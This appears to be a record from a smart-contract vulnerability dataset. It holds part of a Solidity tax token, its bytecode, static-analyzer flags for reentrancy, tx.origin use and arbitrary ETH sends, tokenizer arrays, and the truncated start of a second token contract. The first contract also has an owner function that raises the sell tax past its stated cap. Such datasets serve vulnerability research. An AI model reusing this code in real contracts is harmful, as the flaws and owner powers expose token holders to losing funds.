setExemptFromLimits(address wallet, bool setting) external onlyOwner { require(!_isLiqPool[wallet] && wallet!=address(0), "Address not allowed" ); noLimits[ wallet ] = setting; } function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner { require(newBuyTax <= _maxTaxRate && newSellTax <= _maxTaxRate && newTxTax <= _maxTaxRate, "Tax too high"); taxRateBuy = newBuyTax; taxRateSell = newSellTax; taxRateTX = newTxTax; } function enableBuySupport() external onlyOwner { taxRateBuy = 0; taxRateSell = 2 * _maxTaxRate; } function setTaxDistribution(uint16 sharesAutoLP, uint16 sharesCharity, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesBuyback) external onlyOwner { _autoLPShares = sharesAutoLP; _charityTaxShares = sharesCharity; _marketingTaxShares = sharesMarketing; _developmentTaxShares = sharesDevelopment; _buybackTaxShares = sharesBuyback; _totalTaxShares = _autoLPShares + _charityTaxShares + _marketingTaxShares + _developmentTaxShares + _buybackTaxShares; } function setTaxWallets(address newCharityWallet, address newMarketingWallet, address newDevelopmentWallet, address newBuybackWallet) external onlyOwner { _charityWallet = payable(newCharityWallet); _marketingWallet = payable(newMarketingWallet); _developmentWallet = payable(newDevelopmentWallet); _buybackWallet = payable(newBuybackWallet); noFees[newCharityWallet] = true; noFees[newMarketingWallet] = true; noFees[newDevelopmentWallet] = true; noFees[newBuybackWallet] = true; noLimits[newBuybackWallet] = true; } function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 10**_decimals; require(newTxAmt >= maxTxAmount, "tx limit too low"); maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 10**_decimals; require(newWalletAmt >= maxWalletAmount, "wallet limit too low"); maxWalletAmount = newWalletAmt; } function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { taxSwapMin = _totalSupply * minValue / minDivider; taxSwapMax = _totalSupply * maxValue / maxDivider; require(taxSwapMax>=taxSwapMin, "MinMax error"); require(taxSwapMax>_totalSupply / 100000, "Upper threshold too low"); require(taxSwapMax<_totalSupply / 100, "Upper threshold too high"); } function _transferTaxTokens(address recipient, uint256 amount) private { if ( amount > 0 ) { _balances[address(this)] = _balances[address(this)] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(address(this), recipient, amount); } } function _swapTaxAndLiquify(address _liqPoolAddress) private lockTaxSwap { uint256 _taxTokensAvailable = balanceOf(address(this)); if ( _taxTokensAvailable >= taxSwapMin && tradingOpen ) { if ( _taxTokensAvailable >= taxSwapMax ) { _taxTokensAvailable = taxSwapMax; } uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / _totalTaxShares / 2; uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP; if( _tokensToSwap > 10**_decimals ) { uint256 _ethPreSwap = address(this).balance; _swapTaxTokensForEth(_liqPoolRouterCA[_liqPoolAddress], _liqPoolPairedCA[_liqPoolAddress], _tokensToSwap); uint256 _ethSwapped = address(this).balance - _ethPreSwap; if ( _autoLPShares > 0 ) { uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / _totalTaxShares ; _approveRouter(_liqPoolRouterCA[_liqPoolAddress], _tokensForLP); _addLiquidity(_liqPoolRouterCA[_liqPoolAddress], _tokensForLP, _ethWeiAmount, false); } } uint256 _contractETHBalance = address(this).balance; if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(address routerAddress, address pairedCA, uint256 _tokenAmount) private { _approveRouter(routerAddress, _tokenAmount); address[] memory path = new address[](2); path[0] = address(this); path[1] = pairedCA; IUniswapV2Router02 dexRouter = IUniswapV2Router02(routerAddress); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 _amount) private { uint16 _ethTaxShareTotal = _charityTaxShares + _marketingTaxShares + _developmentTaxShares + _buybackTaxShares; if ( _charityTaxShares > 0 ) { _charityWallet.transfer(_amount * _charityTaxShares / _ethTaxShareTotal); } if ( _marketingTaxShares > 0 ) { _marketingWallet.transfer(_amount * _marketingTaxShares / _ethTaxShareTotal); } if ( _developmentTaxShares > 0 ) { _developmentWallet.transfer(_amount * _developmentTaxShares / _ethTaxShareTotal); } if ( _buybackTaxShares > 0 ) { _buybackWallet.transfer(_amount * _buybackTaxShares / _ethTaxShareTotal); } } function taxTokensSwap(address liqPoolAddress) external onlyOwner { uint256 taxTokenBalance = balanceOf(address(this)); require(taxTokenBalance > 0, "No tokens"); require(_isLiqPool[liqPoolAddress], "Invalid liquidity pool"); _swapTaxTokensForEth(_liqPoolRouterCA[liqPoolAddress], _liqPoolPairedCA[liqPoolAddress], taxTokenBalance); } function taxEthSend() external onlyOwner { _distributeTaxEth(address(this).balance); } function airdrop(address[] calldata addresses, uint256[] calldata tokenAmounts) external onlyOwner { require(addresses.length <= 200,"Wallet count over 200 (gas risk)"); require(addresses.length == tokenAmounts.length,"Address and token amount list mismach"); uint256 airdropTotal = 0; for(uint i=0; i < addresses.length; i++){ airdropTotal += (tokenAmounts[i] * 10**_decimals); } require(_balances[msg.sender] >= airdropTotal, "Token balance lower than airdrop total"); for(uint i=0; i < addresses.length; i++){ _balances[msg.sender] -= (tokenAmounts[i] * 10**_decimals); _balances[addresses[i]] += (tokenAmounts[i] * 10**_decimals); emit Transfer(msg.sender, addresses[i], (tokenAmounts[i] * 10**_decimals) ); } emit TokensAirdropped(addresses.length, airdropTotal); } }
0x6080604052600436106102085760003560e01c80638c0b5e2211610118578063c9567bf9116100a0578063e4dbc45b1161006f578063e4dbc45b14610644578063ed7b6bb514610664578063f2fde38b14610679578063fe575a8714610699578063ffb54a99146106b957600080fd5b8063c9567bf9146105aa578063cc18e05a146105bf578063dc55f5c7146105de578063dd62ed3e146105fe57600080fd5b8063a9059cbb116100e7578063a9059cbb14610514578063aa4bde2814610534578063b14218031461054a578063b6c767071461056a578063c2c31a9b1461058a57600080fd5b80638c0b5e22146104945780639346afac146104aa57806395d89b41146104df578063a13d1a2b146104f457600080fd5b806323b872dd1161019b578063672434821161016a57806367243482146103dc578063677ef846146103fc57806370a082311461041c57806380781cf914610452578063893d20e81461046c57600080fd5b806323b872dd1461034b578063313ce5671461036b57806340d3f6da1461037f5780635ea5208e146103ac57600080fd5b8063174351e6116101d7578063174351e6146102b157806318160ddd146102e15780631b533a9e146103045780631c939ee91461033657600080fd5b806306fdde0314610214578063095ea7b31461023f57806309ef509f1461026f57806315b6c1761461029157600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506102296106d3565b6040516102369190612431565b60405180910390f35b34801561024b57600080fd5b5061025f61025a36600461249e565b610765565b6040519015158152602001610236565b34801561027b57600080fd5b5061028f61028a3660046124db565b6107e5565b005b34801561029d57600080fd5b5061028f6102ac36600461252e565b6108b1565b3480156102bd57600080fd5b5061025f6102cc366004612563565b60056020526000908152604090205460ff1681565b3480156102ed57600080fd5b506102f6610967565b604051908152602001610236565b34801561031057600080fd5b50600f546103249062010000900460ff1681565b60405160ff9091168152602001610236565b34801561034257600080fd5b5061028f610988565b34801561035757600080fd5b5061025f610366366004612580565b6109bd565b34801561037757600080fd5b506009610324565b34801561038b57600080fd5b506102f661039a366004612563565b60106020526000908152604090205481565b3480156103b857600080fd5b5061025f6103c7366004612563565b60066020526000908152604090205460ff1681565b3480156103e857600080fd5b5061028f6103f736600461260d565b610a77565b34801561040857600080fd5b5061028f610417366004612679565b610dea565b34801561042857600080fd5b506102f6610437366004612563565b6001600160a01b031660009081526003602052604090205490565b34801561045e57600080fd5b50600f546103249060ff1681565b34801561047857600080fd5b506000546040516001600160a01b039091168152602001610236565b3480156104a057600080fd5b506102f660085481565b3480156104b657600080fd5b50600f546104cc90600160781b900461ffff1681565b60405161ffff9091168152602001610236565b3480156104eb57600080fd5b50610229610ebd565b34801561050057600080fd5b5061028f61050f36600461252e565b610ecc565b34801561052057600080fd5b5061025f61052f36600461249e565b610f94565b34801561054057600080fd5b506102f660095481565b34801561055657600080fd5b5061028f6105653660046126e7565b610fcd565b34801561057657600080fd5b5061028f610585366004612563565b611132565b34801561059657600080fd5b5061028f6105a5366004612711565b61123f565b3480156105b657600080fd5b5061028f611323565b3480156105cb57600080fd5b50600f5461032490610100900460ff1681565b3480156105ea57600080fd5b5061028f6105f936600461276b565b61139f565b34801561060a57600080fd5b506102f66106193660046127d0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561065057600080fd5b5061028f61065f36600461281d565b6114fa565b34801561067057600080fd5b5061028f6116da565b34801561068557600080fd5b5061028f610694366004612563565b611736565b3480156106a557600080fd5b5061025f6106b4366004612563565b6117b4565b3480156106c557600080fd5b5060075461025f9060ff1681565b6060600180546106e290612866565b80601f016020809104026020016040519081016040528092919081815260200182805461070e90612866565b801561075b5780601f106107305761010080835404028352916020019161075b565b820191906000526020600020905b81548152906001019060200180831161073e57829003601f168201915b5050505050905090565b33600090815260036020526040812054811061078057600080fd5b3360008181526004602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6000546001600160a01b031633146108185760405162461bcd60e51b815260040161080f906128a1565b60405180910390fd5b600c60ff8416118015906108305750600c60ff831611155b80156108405750600c60ff821611155b61087b5760405162461bcd60e51b815260206004820152600c60248201526b0a8c2f040e8dede40d0d2ced60a31b604482015260640161080f565b600f805460ff94851661ffff1990911617610100938516939093029290921762ff00001916620100009190931602919091179055565b6000546001600160a01b031633146108db5760405162461bcd60e51b815260040161080f906128a1565b6001600160a01b0382166000908152600c602052604090205460ff161561093c5760405162461bcd60e51b8152602060048201526015602482015274043616e6e6f74207365742074617820666f72204c5605c1b604482015260640161080f565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b60006109756009600a6129e5565b610983906305f5e1006129f4565b905090565b6000546001600160a01b031633146109b25760405162461bcd60e51b815260040161080f906128a1565b6109bb476117e7565b565b60006109c884611a1c565b6109e45760405162461bcd60e51b815260040161080f90612a13565b6001600160a01b038416600090815260046020908152604080832033845290915290205460001914610a64576001600160a01b0384166000908152600460209081526040808320338452909152902054610a3f908390612a3d565b6001600160a01b03851660009081526004602090815260408083203384529091529020555b610a6f848484611a9d565b949350505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161080f906128a1565b60c8831115610af25760405162461bcd60e51b815260206004820181905260248201527f57616c6c657420636f756e74206f766572203230302028676173207269736b29604482015260640161080f565b828114610b4f5760405162461bcd60e51b815260206004820152602560248201527f4164647265737320616e6420746f6b656e20616d6f756e74206c697374206d696044820152640e6dac2c6d60db1b606482015260840161080f565b6000805b84811015610ba857610b676009600a6129e5565b848483818110610b7957610b79612a54565b90506020020135610b8a91906129f4565b610b949083612a6a565b915080610ba081612a82565b915050610b53565b5033600090815260036020526040902054811115610c175760405162461bcd60e51b815260206004820152602660248201527f546f6b656e2062616c616e6365206c6f776572207468616e2061697264726f70604482015265081d1bdd185b60d21b606482015260840161080f565b60005b84811015610da957610c2e6009600a6129e5565b848483818110610c4057610c40612a54565b90506020020135610c5191906129f4565b3360009081526003602052604081208054909190610c70908490612a3d565b90915550610c8290506009600a6129e5565b848483818110610c9457610c94612a54565b90506020020135610ca591906129f4565b60036000888885818110610cbb57610cbb612a54565b9050602002016020810190610cd09190612563565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610cff9190612a6a565b909155508690508582818110610d1757610d17612a54565b9050602002016020810190610d2c9190612563565b6001600160a01b0316337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d636009600a6129e5565b878786818110610d7557610d75612a54565b90506020020135610d8691906129f4565b60405190815260200160405180910390a380610da181612a82565b915050610c1a565b5060408051858152602081018390527f71cc7095cc35ed4701c217a8efb440732eb0737da67f6548c008ac26fba95464910160405180910390a15050505050565b6000546001600160a01b03163314610e145760405162461bcd60e51b815260040161080f906128a1565b601180546001600160a01b039586166001600160a01b03199182168117909255601280549587169582168617905560138054948716948216851790556014805493909616921682179094556000938452600560209081526040808620805460ff1990811660019081179092559587528187208054871682179055938652808620805486168517905591855281852080548516841790556006905290922080549091169091179055565b6060600280546106e290612866565b6000546001600160a01b03163314610ef65760405162461bcd60e51b815260040161080f906128a1565b6001600160a01b0382166000908152600c602052604090205460ff16158015610f2757506001600160a01b03821615155b610f695760405162461bcd60e51b81526020600482015260136024820152721059191c995cdcc81b9bdd08185b1b1bddd959606a1b604482015260640161080f565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000610f9f33611a1c565b610fbb5760405162461bcd60e51b815260040161080f90612a13565b610fc6338484611a9d565b9392505050565b6000546001600160a01b03163314610ff75760405162461bcd60e51b815260040161080f906128a1565b60006110056009600a6129e5565b6103e861ffff85166110196009600a6129e5565b611027906305f5e1006129f4565b61103191906129f4565b61103b9190612a9d565b6110459190612a6a565b905060085481101561108c5760405162461bcd60e51b815260206004820152601060248201526f7478206c696d697420746f6f206c6f7760801b604482015260640161080f565b6008819055600061109f6009600a6129e5565b6103e861ffff85166110b36009600a6129e5565b6110c1906305f5e1006129f4565b6110cb91906129f4565b6110d59190612a9d565b6110df9190612a6a565b905060095481101561112a5760405162461bcd60e51b815260206004820152601460248201527377616c6c6574206c696d697420746f6f206c6f7760601b604482015260640161080f565b600955505050565b6000546001600160a01b0316331461115c5760405162461bcd60e51b815260040161080f906128a1565b30600090815260036020526040902054806111a55760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b604482015260640161080f565b6001600160a01b0382166000908152600c602052604090205460ff166112065760405162461bcd60e51b8152602060048201526016602482015275125b9d985b1a59081b1a5c5d5a591a5d1e481c1bdbdb60521b604482015260640161080f565b6001600160a01b038083166000908152600d6020908152604080832054600e9092529091205461123b92918216911683611dc6565b5050565b6000546001600160a01b031633146112695760405162461bcd60e51b815260040161080f906128a1565b6001600160a01b038416301480159061128b57506001600160a01b0383163014155b80156112a057506001600160a01b0382163014155b6112a957600080fd5b6001600160a01b039384166000908152600c60209081526040808320805494151560ff19958616179055600d825280832080549688166001600160a01b0319978816179055600e82528083208054959097169490951693909317909455600682528284208054821690556005909152912080549091169055565b6000546001600160a01b0316331461134d5760405162461bcd60e51b815260040161080f906128a1565b60075460ff16156113975760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b604482015260640161080f565b6109bb611eb7565b6000546001600160a01b031633146113c95760405162461bcd60e51b815260040161080f906128a1565b84600f60036101000a81548161ffff021916908361ffff16021790555083600f60056101000a81548161ffff021916908361ffff16021790555082600f60076101000a81548161ffff021916908361ffff16021790555081600f60096101000a81548161ffff021916908361ffff16021790555080600f600b6101000a81548161ffff021916908361ffff160217905550600f600b9054906101000a900461ffff16600f60099054906101000a900461ffff16600f60079054906101000a900461ffff16600f60059054906101000a900461ffff16600f60039054906101000a900461ffff166114b99190612abf565b6114c39190612abf565b6114cd9190612abf565b6114d79190612abf565b600f600d6101000a81548161ffff021916908361ffff1602179055505050505050565b6000546001600160a01b031633146115245760405162461bcd60e51b815260040161080f906128a1565b63ffffffff80841690851661153b6009600a6129e5565b611549906305f5e1006129f4565b61155391906129f4565b61155d9190612a9d565b600a819055508063ffffffff168263ffffffff166009600a61157f91906129e5565b61158d906305f5e1006129f4565b61159791906129f4565b6115a19190612a9d565b600b819055600a5411156115e65760405162461bcd60e51b815260206004820152600c60248201526b26b4b726b0bc1032b93937b960a11b604482015260640161080f565b620186a06115f66009600a6129e5565b611604906305f5e1006129f4565b61160e9190612a9d565b600b541161165e5760405162461bcd60e51b815260206004820152601760248201527f5570706572207468726573686f6c6420746f6f206c6f77000000000000000000604482015260640161080f565b606461166c6009600a6129e5565b61167a906305f5e1006129f4565b6116849190612a9d565b600b54106116d45760405162461bcd60e51b815260206004820152601860248201527f5570706572207468726573686f6c6420746f6f20686967680000000000000000604482015260640161080f565b50505050565b6000546001600160a01b031633146117045760405162461bcd60e51b815260040161080f906128a1565b600f805460ff1916905561171a600c6002612ae5565b600f60016101000a81548160ff021916908360ff160217905550565b6000546001600160a01b031633146117605760405162461bcd60e51b815260040161080f906128a1565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038116600090815260106020526040812054156117da57506001919050565b506000919050565b919050565b600f5460009061ffff600160581b8204811691600160481b810482169161182291600160381b81048216916501000000000090910416612abf565b61182c9190612abf565b6118369190612abf565b600f5490915065010000000000900461ffff16156118b457601154600f546001600160a01b03909116906108fc9061ffff80851691611880916501000000000090910416866129f4565b61188a9190612a9d565b6040518115909202916000818181858888f193505050501580156118b2573d6000803e3d6000fd5b505b600f54600160381b900461ffff161561192b57601254600f546001600160a01b03909116906108fc9061ffff808516916118f791600160381b90910416866129f4565b6119019190612a9d565b6040518115909202916000818181858888f19350505050158015611929573d6000803e3d6000fd5b505b600f54600160481b900461ffff16156119a257601354600f546001600160a01b03909116906108fc9061ffff8085169161196e91600160481b90910416866129f4565b6119789190612a9d565b6040518115909202916000818181858888f193505050501580156119a0573d6000803e3d6000fd5b505b600f54600160581b900461ffff161561123b57601454600f546001600160a01b03909116906108fc9061ffff808516916119e591600160581b90910416866129f4565b6119ef9190612a9d565b6040518115909202916000818181858888f19350505050158015611a17573d6000803e3d6000fd5b505050565b600754600090819060ff1615611a34575060016107df565b6000546001600160a01b0316321415611a4f575060016107df565b6001600160a01b03831660009081526005602052604090205460ff168015611a8f57506001600160a01b03831660009081526006602052604090205460ff165b156107df5750600192915050565b60006001600160a01b038416611af55760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000604482015260640161080f565b60075460ff16611b5b576001600160a01b03841660009081526005602052604090205460ff168015611b3f57506001600160a01b03841660009081526006602052604090205460ff165b611b5b5760405162461bcd60e51b815260040161080f90612a13565b60075460ff168015611b8457506001600160a01b03841660009081526010602052604090205415155b8015611ba757506001600160a01b03841660009081526010602052604090205443115b15611be25760405162461bcd60e51b815260206004820152600b60248201526a189b1858dadb1a5cdd195960aa1b604482015260640161080f565b601454600160a01b900460ff16158015611c1457506001600160a01b0383166000908152600c602052604090205460ff165b15611c2257611c2283611f9f565b6001600160a01b0384163014801590611c4457506001600160a01b0383163014155b8015611c5e57506000546001600160a01b03858116911614155b15611cad57611c6d838361214e565b611cad5760405162461bcd60e51b815260206004820152601160248201527054582065786365656473206c696d69747360781b604482015260640161080f565b6000611cba8585856121f2565b90506000611cc88285612a3d565b6001600160a01b038716600090815260036020526040902054909150611cef908590612a3d565b6001600160a01b0387166000908152600360205260409020558115611d3a5730600090815260036020526040902054611d29908390612a6a565b306000908152600360205260409020555b6001600160a01b038516600090815260036020526040902054611d5e908290612a6a565b6001600160a01b0380871660008181526003602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611db29088815260200190565b60405180910390a350600195945050505050565b611dd083826122fb565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e0557611e05612a54565b60200260200101906001600160a01b031690816001600160a01b0316815250508281600181518110611e3957611e39612a54565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b8152859182169063791ac94790611e7e908690600090879030904290600401612b06565b600060405180830381600087803b158015611e9857600080fd5b505af1158015611eac573d6000803e3d6000fd5b505050505050505050565b611ec36009600a6129e5565b6103e8611ed26009600a6129e5565b611ee0906305f5e1006129f4565b611eeb9060026129f4565b611ef59190612a9d565b611eff9190612a6a565b600855611f0e6009600a6129e5565b6103e8611f1d6009600a6129e5565b611f2b906305f5e1006129f4565b611f369060036129f4565b611f409190612a9d565b611f4a9190612a6a565b600955600f805460ff1916600c908117909155611f68906002612ae5565b600f805462ffff00191661010060ff939093169290920262ff0000191691909117620c00001790556007805460ff19166001179055565b6014805460ff60a01b1916600160a01b179055306000908152600360205260408120549050600a548110158015611fd8575060075460ff165b1561213d57600b548110611feb5750600b545b600f5460009060029061ffff600160681b820481169161201491630100000090910416856129f4565b61201e9190612a9d565b6120289190612a9d565b905060006120368284612a3d565b90506120446009600a6129e5565b811115612129576001600160a01b038085166000908152600d6020908152604080832054600e909252909120544792612081928116911684611dc6565b600061208d8247612a3d565b600f549091506301000000900461ffff161561212657600f5460009061ffff600160681b82048116916120c991630100000090910416846129f4565b6120d39190612a9d565b6001600160a01b038089166000908152600d60205260409020549192506120fb9116866122fb565b6001600160a01b038088166000908152600d60205260408120546121249216908790849061238a565b505b50505b47801561213957612139816117e7565b5050505b50506014805460ff60a01b19169055565b60075460009060019060ff16801561217f57506001600160a01b03841660009081526006602052604090205460ff16155b15610fc65760085483111561219657506000610fc6565b6001600160a01b0384166000908152600c602052604090205460ff161580156121e357506009546001600160a01b0385166000908152600360205260409020546121e1908590612a6a565b115b15610fc6575060009392505050565b600754600090819060ff16158061222157506001600160a01b03851660009081526005602052604090205460ff165b8061224457506001600160a01b03841660009081526005602052604090205460ff165b1561225157506000610a6f565b6001600160a01b0385166000908152600c602052604090205460ff161561229657600f546064906122859060ff16856129f4565b61228f9190612a9d565b9050610a6f565b6001600160a01b0384166000908152600c602052604090205460ff16156122cf57600f5460649061228590610100900460ff16856129f4565b600f546064906122e89062010000900460ff16856129f4565b6122f29190612a9d565b95945050505050565b3060009081526004602090815260408083206001600160a01b038616845290915290205481111561123b573060008181526004602090815260408083206001600160a01b038716808552908352928190206000199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050565b60008161239f57506000546001600160a01b03165b60405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0382811660848301524260a483015286919082169063f305d71990869060c40160606040518083038185885af115801561240c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611eac9190612b77565b600060208083528351808285015260005b8181101561245e57858101830151858201604001528201612442565b81811115612470576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461249b57600080fd5b50565b600080604083850312156124b157600080fd5b82356124bc81612486565b946020939093013593505050565b803560ff811681146117e257600080fd5b6000806000606084860312156124f057600080fd5b6124f9846124ca565b9250612507602085016124ca565b9150612515604085016124ca565b90509250925092565b803580151581146117e257600080fd5b6000806040838503121561254157600080fd5b823561254c81612486565b915061255a6020840161251e565b90509250929050565b60006020828403121561257557600080fd5b8135610fc681612486565b60008060006060848603121561259557600080fd5b83356125a081612486565b925060208401356125b081612486565b929592945050506040919091013590565b60008083601f8401126125d357600080fd5b50813567ffffffffffffffff8111156125eb57600080fd5b6020830191508360208260051b850101111561260657600080fd5b9250929050565b6000806000806040858703121561262357600080fd5b843567ffffffffffffffff8082111561263b57600080fd5b612647888389016125c1565b9096509450602087013591508082111561266057600080fd5b5061266d878288016125c1565b95989497509550505050565b6000806000806080858703121561268f57600080fd5b843561269a81612486565b935060208501356126aa81612486565b925060408501356126ba81612486565b915060608501356126ca81612486565b939692955090935050565b803561ffff811681146117e257600080fd5b600080604083850312156126fa57600080fd5b612703836126d5565b915061255a602084016126d5565b6000806000806080858703121561272757600080fd5b843561273281612486565b9350602085013561274281612486565b9250604085013561275281612486565b91506127606060860161251e565b905092959194509250565b600080600080600060a0868803121561278357600080fd5b61278c866126d5565b945061279a602087016126d5565b93506127a8604087016126d5565b92506127b6606087016126d5565b91506127c4608087016126d5565b90509295509295909350565b600080604083850312156127e357600080fd5b82356127ee81612486565b915060208301356127fe81612486565b809150509250929050565b803563ffffffff811681146117e257600080fd5b6000806000806080858703121561283357600080fd5b61283c85612809565b935061284a60208601612809565b925061285860408601612809565b915061276060608601612809565b600181811c9082168061287a57607f821691505b6020821081141561289b57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252602a908201527f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c207468696040820152693990333ab731ba34b7b760b11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561293c578160001904821115612922576129226128eb565b8085161561292f57918102915b93841c9390800290612906565b509250929050565b600082612953575060016107df565b81612960575060006107df565b816001811461297657600281146129805761299c565b60019150506107df565b60ff841115612991576129916128eb565b50506001821b6107df565b5060208310610133831016604e8410600b84101617156129bf575081810a6107df565b6129c98383612901565b80600019048211156129dd576129dd6128eb565b029392505050565b6000610fc660ff841683612944565b6000816000190483118215151615612a0e57612a0e6128eb565b500290565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b600082821015612a4f57612a4f6128eb565b500390565b634e487b7160e01b600052603260045260246000fd5b60008219821115612a7d57612a7d6128eb565b500190565b6000600019821415612a9657612a966128eb565b5060010190565b600082612aba57634e487b7160e01b600052601260045260246000fd5b500490565b600061ffff808316818516808303821115612adc57612adc6128eb565b01949350505050565b600060ff821660ff84168160ff04811182151516156129dd576129dd6128eb565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b565784516001600160a01b031683529383019391830191600101612b31565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612b8c57600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212204696962dfd15bd6be175e3976e590d153e9b0dcec81db80b010934fdeb1c4c9d64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16068, 2575, 2546, 2575, 2509, 2278, 2575, 7875, 20842, 2487, 27717, 2278, 20958, 2683, 29292, 2683, 2497, 2692, 23352, 2549, 2094, 2683, 2629, 2546, 21472, 20958, 2692, 17914, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 5890, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 3647, 18900, 2232, 2025, 2109, 2004, 15832, 2144, 5024, 3012, 1034, 1014, 1012, 1022, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2340, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,027
0x961612b22c1b7f787673dec0f6c70dbe906081da
pragma solidity ^0.4.4; contract Token { function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract DiamondDime is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function DiamondDime() { balances[msg.sender] = 